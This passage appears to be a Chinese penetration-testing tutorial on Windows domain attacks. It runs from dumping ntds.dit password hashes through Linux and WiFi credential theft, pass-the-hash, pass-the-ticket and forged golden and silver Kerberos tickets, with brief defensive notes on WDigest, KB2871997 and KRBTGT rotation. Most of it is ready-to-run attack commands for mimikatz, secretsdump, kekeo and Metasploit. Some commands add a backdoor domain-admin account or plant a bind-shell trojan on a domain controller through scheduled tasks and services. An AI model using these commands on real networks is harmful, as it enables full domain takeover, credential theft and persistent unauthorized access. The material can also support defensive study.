#.\NTDSDumpEx.exe -d ntds.dit -s SYSTEM
方法二:使用impacket里的secretsdump.py脚本读取ntds.dit文件
#impacket工具包中的impacket-secretsdump命令
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
#或者直接使用 python 执行 secretsdump.py 文件也可
python3 secretsdump.py -ntds ntds.dit -system system.hiv LOCAL
#python3 secretsdump.py -ntds ./ntds.dit -system ./SYSTEM LOCAL
impacket还可以直接通过用户名和散列值进行验证,从远程登录到域控上读取ntds.dit并转储出散列值
因此,如果在得到域管用户密码或hash情况下,可远程连接导出,如下
python3 secretsdump.py fox/admintests:QWEqwe123@172.16.58.147
或
python3 secretsdump.py fox/admintests@172.16.58.147 -hashes aad3b435b51404eeaad3b435b51404ee:621cdf4b49c06ec28caa7a6cab4ebac8
方法三:利用mimikatz直接读取 ntds.dit 文件
除了拷贝 ntds.dit 到本地外,mimikatz 也可以直接查看本机的域内用户所有的账号密码(本质上是利用卷影拷贝服务直接读取 ntds.dit 文件),不过相对于拷贝 ntds.dit 到自己的机器上来说,直接使用 mimikatz 隐蔽性肯定就会差些了。需要注意的是,必须使用域管理员权限运行mimikatz才可以读取ntds.dit
mimikatz.exe
# 直接获取 teamssix 域内所有用户 hash
lsadump::dcsync /domain:teamssix.com /all /csv
# 获取单个用户的详细信息
lsadump::dcsync /domain:teamssix.com /user:administrator
也可以直接在域控制器中运行mimikatz,通过转储 lsass.exe 进程进行 dump 操作
privilege::debug
lsadump::lsa /inject
如果输出内容太多,可以使用 log 命令,这样操作就都会被记录到文本里了,会在mimikatz目录下生成一个文本文件,用于记录mimikatz的所有执行结果
方法四:使用Invoke-DCSync.ps1脚本直接读取 ntds.dit 文件
该脚本通过 Invoke-ReflectivePEinjection 调用 mimikatz.dll 中的 dcsync 功能,并利用 dcsync 直接读取 ntds.dit 得到域用户密码散列值。所以可以将Invoke-DCSync.ps1上传到目标机器进行直接读取,不需要将 ntds.dit 拷贝到本地外,和上面的mimikatz是一样的
Invoke-DCSync.ps1 下载地址:https://gist.github.com/monoxgas/9d238accd969550136db
Import-Module ./Invoke-DCSync.ps1
#这里使用-PWDumpFormat参数,格式化输出,方便查看
Invoke-DCSync -PWDumpFormat
#导出域内所有用户的Hash
Invoke-DCSync -DumForest | ft -wrap -autosize
#导出域内用户的krbtgt的Hash
Invoke-DCSync -DumpForest -Users @("krbtgt") | ft -wrap -autosize
方法五:使用QuarksPwDump读取ntds.dit文件
先使用windows自带的esentutl修复下ntds.dit文件
esentutl /p /o ntds.dit
ntds.dit文件就属于Active Directory 数据库文件
再使用QuarksPwDump.exe进行提取
.\QuarksPwDump.exe --dump-hash-domain --output userhash.txt --ntds-file .\ntds.dit
方法六:利用Esedbexport配合ntdsxtract读取ntds.dit文件
安装 esedbexport,这里以 Kali 为例
apt-get install autoconf automake autopoint libtool pkg-config
wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz
tar zxvf libesedb-experimental-20210424.tar.gz
cd libesedb-20210424
./configure
make
make install
ldconfig
使用Esedbexport恢复ntds.dit并导出用户表信息(利用Esedbexport可以从.dat文件中转储表格)
esedbexport -m tables ntds.dit
操作时间可能较久,具体看ntds.dit的大小情况,提取成功后,会在同一目录下生成一个ntds.dit.export文件夹,实际上用到的文件就是此文件夹下的datatable.3和link_table.5
安装 ntdsxtract
git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract
python setup.py build
python setup.py install
将 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夹中,然后导出哈希值,最后的结果将保存在 all_user.txt 里
python2 dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee all_user.txt
如果提示 ImportError: No module named Crypto.Hash,直接 pip install pycryptodome 即可
ntds.dit 包含域内的所有信息,可以通过分析 ntds.dit 导出域内的计算机信息以及其他信息,最后结果将保存在 all_computers.csv 文件内
python2 dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv
方法七:使用DSInternals读取ntds.dit文件
DSInternals 主要功能包括离线 ntds.dit 文件操作以及通过目录复制服务(DRS)远程协议查询域控制器。
DSInternals 下载地址:https://github.com/MichaelGrafnetter/DSInternals/releases
#安装 DSInternals
Install-Module DSInternals -Force
#直接导出 hash,并保存在 output_hash.txt 文件里
$key = Get-Bootkey -SystemHivePath 'C:\system'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -Bootkey $key | Out-File output_hash.txt
#或者导出 hashcat 支持的 hash,并保存在 output_hashcat.txt 文件里
$key = Get-Bootkey -SystemHivePath 'C:\system.hive'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File output_hashcat.txt
单机密码抓取的防御手段
微软为了防止用户密码在内存中以明文形式泄露,发布了补丁KB2871997关闭了Wdigest功能
Windows Server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server 2012以下版本,如果安装了KB2871997,攻击者同样无法获取明文密码。
在日常网络维护中,通过查看注册表项Wdigest,可以判断Wdigest功能的状态。如果该项的值为1,用户下次登录时,攻击者就能使用工具获取明文密码。应该确保该项的值为0,使用户明文密码不会出现在内存中(这时候使用mimikatz抓取密码,只能获取NTML Hash)。
在命令行环境中开启或关闭Wdigest Auth,有如下两种方法:
-
使用reg add命令
#开启Wdigest Auth reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f #关闭Wdigest Auth reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
-
使用PowerShell指令
#开启Wdigest Auth Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Value 1 #关闭Wdigest Auth Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Value 0
除此之外,还有以下方法可以防范攻击者抓取明文密码和散列值
- 设置Active Diretory 2012 R2功能级别
Windws Sever 2012 R2 新增了一个名为“受保护的用户”的用户组。只要将需要保护的用户放入该组,攻击者就无法使用mimikaz等工具抓取明文密码和散列值了
- 安装KB2871997补丁
KB2871997补丁是微软用来解决PsExec或IPC远程查看(ipc$)问题的补丁,能使本地账号不再被允许远程接入计算机系统,但系统默认的本地管理员账号Administrator 这个SID为500的用户例外——即使将 Administrator改名,该账号的SID仍为500,攻击者仍然可以使用横向攻击方法获得内网中其他计算机的控制权。安装KB2871997后,仍需禁用默认的Administrator账号,以防御哈希传递攻击。
- 防御mimikatz攻击
mimikatz在抓取散列值或明文密码时需要使用Debug权限(因为mimikatz需要和Isass进程进行交互,如果没有Debug权限,mimikatz 将不能读取lsass进程)。因此,可以针对这一点采取防御措施。将拥有Debug权限的本地管理员从Administrators组中删除
Linux系统密码获取
MimiPenguin
mimipenguin 是一个简单但是强大的 shell/python 脚本,用来从当前 Linux 桌面用户转储登录凭证(用户名和密码)【mimipenguin 会读取内存中的凭证信息,因为linux系统在运行中会将用户名和密码以明文的方式保存在内存中】,并且已在不同的 Linux 发行版中测试过。
github地址:https://github.com/huntergregal/mimipenguin
使用前提:必须是以root权限执行
使用方法:
git clone https://github.com/huntergregal/mimipenguin.git
cd mimipenguin
# 使用shell执行
chmod u+x mimipenguin.sh
sudo ./mimipenguin.sh
# 使用python执行
chmod u+x mimipenguin.py
sudo python3 ./mimipenguin.py
获取已知的WIFI密码
使用自带命令可直接查询
# 获取登录过的 WIFI 名称
netsh wlan show profiles
# 获取某个连接过的 WIFI 密码
netsh wlan show profile name="teamssix" key=clear
# 获取所有连接过的 WIFI 密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
哈希传递
哈希传递(Pass The Hash, PTH)顾名思义,就是利用哈希去登录内网中的其他机器,而不是通过明文密码登录的方式。通过哈希传递,攻击者不需要花时间破解哈希值得到明文,在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文,因此此时往往会使用工具将哈希值传递到其他计算机中进行登录验证(哈希值就是用来证明身份的,有正确的用户名和密码哈希值就能通过验证)
使用NTLM Hash进行哈希传递
#在目标主机上使用 mimikatz 获取 NTLM Hash
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
#在其他远程计算机中,以管理员权限打开 mimikatz
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:teamssix.com /ntlm:161cff084477fe596a5db81874498a24
mimikatz 执行后,会弹出一个拥有对应 Hash 用户权限的 CMD 窗口。
在展示一个完整的流程,如下
#我们还能将msf木马copy到域控上并设置计划任务或创建服务来执行,如下
#将msf木马bindshell.exe复制到目标机器上
copy bindshell.exe \\OWA\c$
#在域控上创建shell计划任务
schtasks /create /tn "shell" /tr C:\bindshell.exe /sc MINUTE /s 192.168.52.138
#在域控上立即启动该计划任务
schtasks /run /s 192.168.52.138 /i /tn "shell"
#在域控上创建服务启动木马
sc \\OWA create bindshell binpath="c:\bindshell.exe"
#在域控上立即启动该服务
sc \\OWA start bindshell
使用AES-256 密钥进行哈希传递
#使用 mimikatz 抓取密钥
mimikatz.exe
privilege::debug
sekurlsa::ekeys
#在其他远程计算机中,以管理员权限打开 mimikatz
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:teamssix.com /aes256:7358fb65149672d99b8c9f3dfd0dfeb486b78268e9c5250b23aefbd26f293c60
这里需要目标机器上安装 KB2871997 补丁,安装后才可以导入AES-256密钥的方式进行横向移动(这种方式又称为Pass The Key)
补丁下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=42722
除了AES-256密钥,AES-128密钥也可以用来进行哈希传递,不过平时基本都是使用 NTLM 哈希进行传递。
注意事项:
- dir 后跟要使用的主机名,而不是IP地址,否则会提示用户名或密码错误。
- 使用AES密钥对远程主机进行哈希传递的前提是在本地安装了KB2871997补丁
- 如果要使用mimikaz的哈希传递功能,需要具有本地管理员权限。这是由mimikatz的实现机制决定的(需要高权限进程lsass.exe的执行权限)
这里说一下更新KB2871997补丁产生的影响:
微软在2014年5月发布了KB2871997补丁。该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员对远程计算机使用PsExec、WMI、smbexec、schtasks,也无法访问远程主机的文件共享等。在实际测试中,更新KB2871997补丁后,Administrator账号(SID为500)例外——使用该账户的散列值依旧可以进行哈希传递。这里强调的是SID为500的账号。在一些计算机中,即使将Administator改名,也不会影响SID的值。所以,如果攻击者使用SID为500的账号进行横向移动,就不会受到K827197的影响。
票据传递
要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。mimikatz也提供了不需要本地管理员权限进行横向渗透测试的方法,其中最典型的就是票据传递( Pass The Ticket, PTT),它是基于Kerberos认证的一种攻击方式
使用mimikatz导出票据和传递
使用 mimikatz 可以将内存中的票据进行导出
mimikatz.exe
privilege::debug
sekurlsa::tickets /export
#mimikatz "privilege::debug" "sekurlsa::tickets /export"
执行该命令后,会在当前目录下生成多个服务的票据文件,例如 kirbi 等
使用以下命令可以清除内存中的票据
mimikatz.exe
kerberos::purge
#mimikatz "kerberos::purge"
将票据文件注入内存,把高权限的票据文件注入内存后,就会获得相应的权限
mimikatz.exe
kerberos::ptt "[0;4beae]-2-0-40e00000-Administrator@krbtgt-TEAMSSIX.COM.kirbi"
#将高权限的票据文件注入内存后,即可列出远程计算机系统的文件目录
dir \\dc\c$
使用kekeo导出票据和传递
kekeo 需要使用域名、用户名、NTLM HASH 生成票据,然后再将票据导入,从而连接远程计算机
#在当前目录生成一个票据文件
#kekeo "tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM哈希"
kekeo "tgt::ask /user:administrator /domain:testlab.com /ntlm:f478e94103927311912ff00846210a30"
使用 kekeo 清除当前内存中的其他票据,不然可能会导致票据传递失败
kerberos::purge
#在 Windows 命令行中也可以执行系统自带的命令进行内存中的票据清除
klist purge
使用以下命令将票据导入内存即可获得相应的权限。
kekeo.exe
kerberos::ptt "TGT_administrator@TEAMSSIX.COM_krbtgt~teamssix.com@TEAMSSIX.COM.kirbi"
之后键入 exit 退出 kekeo,使用 dir 命令就可以列出远程文件了
注意点:
- 票据文件注入内存的默认有效时间为 10 小时
- 在目标机器上不需要本地管理员权限就可以进行票据传递
- 使用票据传递时,dir 命令必须使用主机名,如果使用 IP 地址会提示拒绝访问
黄金票据
黄金票据(Golden Ticket,又称金票)就是伪造krbtgt用户的TGT票据(即票据授予票据,也被称为认证票据),krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户。
因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。
每个用户的Ticket都是由krbtgt的密码Hash来生成的,那么,我们如果拿到了krbtgt的密码Hash,其实就可以伪造任意用户的Ticket。对于攻击者来说,实际上只要拿到了域控权限,就可以直接导出krbtgt的密码Hash,再通过mimikatz即可生成任意用户任何权限的Ticket。
金票伪造原理
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个
Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。所以有了金票后,就可以跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
这里结合Kerberos认证流程再走一下金票伪造原理,黄金票据主要是发生在kerberos认证的第③和第④步上。
在Kerberos认证流程的第②步中,AS会给返回两个数据,所以在进入第③步时,客户端会持有这两个数据,即一个是TGT凭证、一个是自己账号ntlm_hash加密的session_key。可以看一下第②步中AS返回给客户端的数据包,如下:
#第二步中AS返回给客户端的数据
[Client_ntlm_hash(K(c,tgs))],[Krbtgt_ntlm_hash(k(c,tgs),Client_name(DomainName\Username),TGT_EndTime)]
通过对数据包的分析,可以很直观地发现,这个TGT凭证是Krbtgt_ntlm_hash加密的信息。所以当我们知道kertgt的ntlm_hash时,就可以伪造TGT凭证,发送给票据生成服务器(TGS),这样,我们就可以访问域内任意一台服务器,这就是黄金票据。这里可以再看一下第③步中客户端向TGS发起的请求数据包,同样是含有Krbtgt_ntlm_hash加密的信息,所以kertgt的ntlm_hash是伪造金票的关键
[Session_key(Authenticator([DomainName\Username,ServerName(DomainName\Server)]))],[TGT(Krbtgt_ntlm_hash(k(c,tgs),Client_name(DomainName\Username),TGT_EndTime))]
黄金票据特点
- 域控制器中的KDC服务不验证TGT中的用户帐户,直到TGT超过20分钟,这意味着攻击者可以使用禁用和删除的帐户,甚至是在Active Directory中不存在的虚拟帐户。
- 由于在域控制器上由KDC服务生成的域设置了Kerberos策略,如果提供票据,则系统信任票据的有效性。这意味着,即使域策略声明Kerberos登录票据(TGT)只有10小时有效,如果票据声明有效期为10 年,那么也会信任票据的有效性期为10年。
- 该KRBTGT帐户密码从不更改和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在。
- 它绕过了SmartCard身份验证要求,因为它绕过了DC在创建TGT之前执行的常规验证。
- 这个精心创建的TGT要求攻击者拥有Active Directory域的KRBTGT密码哈希值(通常从域控制器转储)。
- KRBTGT NTLM哈希可用于生成一个有效的TGT(使用RC4)模拟任何用户访问Active Directory中的任何资源。
- 在主机上都可以生成和使用黄金票据(TGT),即使没有加入域也是如此。只要网络可以访问域。
- 用于从AD森林中的DC获取有效的TGS票据,并提供一个坚持在一切域访问所有的主机的好办法。
金票利用条件
利用大前提:
- 拿到域控的权限
在利用黄金票据(Golden Ticket)进行 PTP 票据传递时,需要先知道以下信息:
- 伪造的域管理员用户名【其实可以伪造任意用户(即使是不存在的用户),只是说伪造域管用户更有价值】
- 完整的域名
- 域 SID
- krbtgt 的 NTLM Hash 或 AES-256 值
获取域的SID和krbtgt账号的NTLM HASH的前提是需要已经拿到了域控的权限,所以拿到域控的权限是金票利用的大前提
krbtgt 用户是域自带的用户,被 KDC 密钥分发中心服务所使用,属于 Domain Admins 组。
金票的利用
导出 krbtgt 的 NTLM Hash
在 mimikatz 下执行以下命令
lsadump::dcsync /domain:teamssix.com /user:krbtgt
执行这条命令后,会得到类似如下的回显
假设这里得到 krbtgt 的 NTLM Hash 为 d685b9c4fa2d318a9943ed68948af087,下面的演示也会使用这个NTLM Hash
该命令使用的 dcsync 功能远程转储 AD 里的 ntds.dit,使用 /user 参数,可以只导出指定用户的值。
也可以使用获取 krbtgt 的 NTLM Hash
sekurlsa::krbtgt
再或者使用以下命令获取 krbtgt 的 NTLM Hash 、域 SID 值,但该命令无法获取 AES-256 的值
mimikatz.exe
privilege::debug
lsadump::lsa /patch /user:krbtgt
#或者直接获取所有用户的NTLM Hash
#mimikatz "lsadump::lsa /patch"
获取基本信息
#获取域 SID
wmic useraccount get name,sid
这里得到 administrator 的 SID 为 S-1-5-21-284927032-1122706408-2778656994-500,即表示当前域的 SID 就是 S-1-5-21-284927032-1122706408-2778656994
#获取当前用户的 SID
whoami /user
#查询域管理员账号
net group "domain admins" /domain
#查询域名
ipconfig /all
除了上面方法还可以使用Mimikatz获取需要的基本信息,如下
#获取域名称
net view /domain
#查询域管理员账号
net group "domain admins" /domain
#Mimikatz获取krbtgt的HTLM-Hash及域SID
mimikatz "lsadump::dcsync /domain:test666.com /user:krbtgt"
制作黄金票据并注入内存
先将票据清空
kerberos::purge
生成票据
kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /krbtgt:d685b9c4fa2d318a9943ed68948af087 /ticket:Administrator.kiribi
#对上面命令用到的参数做一个解释
/admin:伪造的用户名
/domain:域名称
/sid:SID值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
传递票据并注入内存
kerberos::ptt Administrator.kiribi
验证权限
退出 mimikatz ,使用 dir 发现可以成功列出域控文件
尝试创建一个的域管账号,命令执行成功
net user aaa !@#qwe123 /add /domain
net group "domain admins" aaa /add/domain
这里使用 PsExec 也同样是能获取到权限的,除了上面使用 NTLM Hash 之外,还可以使用 krbtgt 的 AES-256 值生成黄金票据
kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /aes256:3dfa1f9b5809250a7670c12d1e109f0acb9660f902da8aa3a4be55a16affbbd5 /ticket:Administrator.kiribi
命令完成之后,也会生成一个 Administrator.kiribi 文件,之后的操作就都一样了。
此外,还有一些注意事项:
- 这种方式导入的Ticket默认在20分钟以内生效,如果过期了,再次ptt导入Golden Ticket即可
- 可以伪造任意用户,即使其不存在
- krbtgt的NTLM hash不会轻易改变,即使修改域控管理员密码
MSF 下的利用
首先上线一个普通用户,然后加载 kiwi 模块
load kiwi
生成黄金票据
golden_ticket_create -d teamssix.com -k d685b9c4fa2d318a9943ed68948af087 -s S-1-5-21-284927032-1122706408-2778656994 -u administrator -t /root/administrator.ticket
将黄金票据注入内存
kerberos_ticket_use /root/administrator.ticket
注入成功后,进入 Shell 就能查看 dc 里的文件了
黄金票据的防御
- 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。
- 禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加密,则DC(KDC)通过检查KRBTGT以前的密码来验证。
- 建议定期更改KRBTGT密码(毕竟这是一个管理员帐户)。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。
- 一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力。
白银票据
白银票据(Silver Tickets,又称银票)不与密钥分发中心 KDC 交互,通过伪造的票据授予服务 TGS 生成伪造的服务票据 ST 直接与服务器 Server 进行交互。因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务(即是针对于某个机器上的某个服务生成的白银票据,所以只能访问指定的机器中指定的服务)。
这里对“只能访问指定服务”做一个说明,方便理解。比如,为“CIFS”服务创建白银票据并注入内存后,就能够获得目标计算机上任何Windows共享的管理权限,就可以访问目标计算机上的任何共享(比如c$共享),那么对共享服务的一些操作也能做(比如我们能够将文件拷贝到共享文件中)。但是除了共享服务以外的其他服务我们还是没有权限。
白银票据与黄金票据的区别:
-
白银票据不经过 KDC,因此白银票据日志相对于黄金票据会更少,同时白银票据的日志都在目标服务器上,域控上不会有日志
-
白银票据利用服务账户的哈希值,不同于黄金票据利用 krbtgt 账户的哈希值,因此白银票据更加隐蔽,但白银票据的权限就远不如黄金票据的权限了
-
除了上面说到的两点外,银票和金票还有以下区别
银票伪造原理
白银票据主要是发生在Kerberos认证的第⑤步上。在第⑤步中客户端要向服务器端发送请求,如下
第⑤步中客户端要向服务器端发送的请求数据包如下:
K(c,s)加密[Authenticator([DomainName\Username,ServerName(DomainName\Server)])],[Tiket(Server_ntlm_hash(Tiket(K(c,s),Client_Name(domainName\Username),TGT_EndTime)))]
通过对这个数据包的分析,可以发现只要我们有了server_ntlm_hash,我们就可以伪造票据,这个也就是白银票据
白银票据特点
- 白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。
- 黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务。
- 大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC
- 攻击者需要服务帐户密码哈希值
- TGS是伪造的,所以没有和TGT通信,意味着DC从验证过。
- 任何事件日志都在目标服务器上。
银票利用条件
利用大前提:
- 拿到目标机器权限(目标机器即可,不一定是域控。拿到权限是为了获取服务账户的hash)
想利用白银票据需要先知道以下信息:
- 域名
- 域 SID
- 目标服务器的 FQDN ,即完整的域名
- 可利用的服务
- 服务账户的 NTML HASH
- 伪造的用户名(可以是任意用户名,也包括不存在的用户)
这里说明一点,对于“服务账户的 NTML HASH”有很多种叫法,如“目标主机的NTML哈希”“服务的NTML散列”“目标Server的NTLM Hash”“主机名对应用户的NTLM Hash”等,都是同一个意思,这里统一称为“服务账户的 NTML HASH”,并提供一个判断标准:用户名为“主机名$”这个用户的NTLM Hash。还有几点常识也做一个统一,如下:
- 散列(值) == 哈希(值) == HASH(Hash)
- 账号 == 账户 == 用户
- 服务 == Server
银票的利用
白银票据伪造的服务类型可以从以下内容中来进行选择,还是强调一点,银票只能针对指定服务来进行伪造
#下面这是白银票据的服务列表,即具体什么服务需要伪造什么票据(想要实现左边的服务类型,就要伪造右边对应的服务银票)
#显而易见,一个 Service 不一定只有一个 Service Silver Ticket
#举个例子,如果我想使用WMI服务,就需要创建两张Silver Tickets,分别是目标机器的HOST Ticket和RPCSS Ticket
服务类型(Service Type) 服务银票(Service Silver Tickets)
WMI HOST、RPCSS
PowerShell Remoting HOST、HTTP,根据操作系统版本的不同,可能还需要:WSMAN、RPCSS
WinRM HOST、HTTP
Scheduled Tasks HOST
Windows File Share CIFS
LDAP(如Mimikatz DCSync操作) LDAP
Windows Remote Server RPCSS、LDAP、CIFS
获取基本信息
获取域名
#以下三条命令均可
whoami
net time /domain
ipconfig /all
获取SID
whoami /all
获取目标机器的FQDN
net time /domain
制作白银票据伪造服务
伪造 CIFS 服务权限
CIFS 服务常用于 Windows 主机之间的文件共享(从上面的白银票据的服务列表也能看出,Windows File Share服务对应需要伪造的是CIFS银票),首先使用 mimikatz 获取服务账户的 NTLM 哈希,这里使用的 Username 为 DC$ 的 NTLM 哈希
.\mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit
得到 HASH 后,清空当前系统中的票据,防止其他票据干扰
klist purge
#或者使用 mimikatz 清除
kerberos::purge
使用 mimikatz 生成伪造的白银票据并注入内存
.\mimikatz.exe "kerberos::golden /user:t /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /target:dc /rc4:ef9e49a41feaa171f642016fd4cb7e7a /service:cifs /ptt" exit
#这里对上面命令用到的参数做一个说明
/domain:域名称
/sid:SID值
/target:目标主机名
/service:服务名称,这里需要访问共享文件,所以是cifs
/rc4:目标主机上服务账户的NTLM hash
/user:伪造的用户名
/ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用kerberos::ptt来导入
在伪造票据后,使用 dir 命令就能读取到目标的共享服务了。
伪造 LDAP 服务权限
这里介绍一下 LDAP 服务,如下
下面对其进行伪造白银票据
首先判断当前权限是否可以使用 dcsync 域控进行同步
.\mimikatz.exe "lsadump::dcsync /dc:dc /domain:teamssix.com /user:krbtgt" exit
如果返回 ERROR 说明当前权限不能进行 dcsync 操作
接下来生成 LDAP 服务的白银票据并注入内存
.\mimikatz.exe "kerberos::golden /user:t /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /target:dc /rc4:ef9e49a41feaa171f642016fd4cb7e7a /service:ldap /ptt" exit
在伪造票据后,就有权限进行 dcsync 操作了
mimikatz.exe
lsadump::dcsync /dc:OWA2010SP3 /domain:0day.org /user:krbtgt
伪造 HOST和HTTP 服务权限
这里是伪造 HOST 和 HTTP 的服务的白银票据访问目标计算机的 WinRM 服务
WinRM服务(Windows Remote Management)允许用户使用远程工具对本地Windows服务器进行管理
WinRM服务默认支持Kerberos验证,也就是说白银票据是可以用的
kerberos::golden /domain:0day.com /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3 /rc4:46bcda1fa92aa7198598d4ad9ec7c055 /service:HTTP /user:administrator /ptt
kerberos::golden /domain:0day.com /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3 /rc4:46bcda1fa92aa7198598d4ad9ec7c055 /service:HOST /user:administrator /ptt
伪造银票并注入内存后,可以使用WinRM服务
#下面列举一些Winrm相关的命令
#自动配置winrm服务启动侦听(从Windows Server 2008开始,WinRM服务自动启动,但是不开启监听,使用winrm quickconfig进行配置后,将打开HTTP和HTTPS监听端口,同时Windows防火墙放行这两个端口)
#这里再补充一点,从WinRM2.0开始,服务的HTTP默认监听端口由原来的80/TCP变更为5985/TCP
winrm quickconfig
#查看winrm的运行情况
winrm e winrm/config/listener
#查看winrm的配置
winrm get winrm/config
#将service中的allowUnencrypted设置为true,允许未加密的通讯
winrm set winrm/config/service @{AllowUnencrypted="true"}
#配置当前服务器允许被任意主机连接/允许连接任意主机
winrm set winrm/config/client @{TrustedHosts="*"}
在服务器端使用winrm quickconfig启动winrm服务之后,就可以使用winrs客户端连接服务器远程执行命令了。
winrs -r:OWA2010SP3 -u:administrator -p:admin123$% 'whoami /user'
伪造 HOST 服务权限
还可以伪造HOST的白银票据访问目标计算机的计划任务服务(也就上面白银票据的服务列表中的Scheduled Tasks)
kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3 /rc4:46bcda1fa92aa7198598d4ad9ec7c055 /service:HOST /user:administrator /ptt
kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:PC-JACK-0DAY /rc4:b49b7d6036b024324459d19aa392bb08 /service:HOST /user:administrator /ptt
kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:PC-JACK-0DAY /rc4:b49b7d6036b024324459d19aa392bb08 /service:HOST /ptt
伪造并注入内存后,就获得了对计划任务管理的权限。下面使用Schtasks对计划任务进行操作,Schtasks前面介绍过,是一个可在本地或远程计算机创建、删除、查询、修改、运行和结束计划任务的工具。
#创建计划任务运行计算器,实际环境中可运行任何可执行程序
schtasks /create /S OWA2010SP3 /U administrator /P admin123$% /RU "SYSTEM" /SC MINUTE /TN "Agent" /TR "C:\Windows\System32\calc.exe"
schtasks /create /S OWA2010SP3 /U administrator /P "admin123$%" /SC MINUTE /TN "Agent" /TR "C:\Windows\System32\calc.exe"
schtasks /create /S OWA2010SP3 /SC MINUTE /TN "Agent" /TR "C:\Windows\System32\calc.exe"
伪造 HOST和wsman 服务权限
这里再演示一下伪造HOST和wsman服务的白银票据进行Powershell 的远程执行(对应上面白银票据的服务列表中的PowerShell Remoting)
在Windows中,除了WinRM本身,其他一些工具和一些第三方工具也都借助了WinRM所提供的功能。例如
PowerShell自2.0开始引入了Remoting技术,即远程执行PowerShell命令,此技术基于WinRM服务实现。
kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3 /rc4:46bcda1fa92aa7198598d4ad9ec7c055 /service:HTTP /user:administrator /ptt
kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3 /rc4:46bcda1fa92aa7198598d4ad9ec7c055 /service:wsman /user:administrator /ptt
#使用Kerberos票据进行验证,通过伪造白银票据注入内存的方式,不会再弹出要求输入密码的对话框,直接验证通过并建立连接
New-PSSession -Name PSC -ComputerName OWA2010SP3;Enter-PSSession -Name PSC
Enter-PSSession -ComputerName OWA2010SP3
#之后就可以远程执行PowerShell了
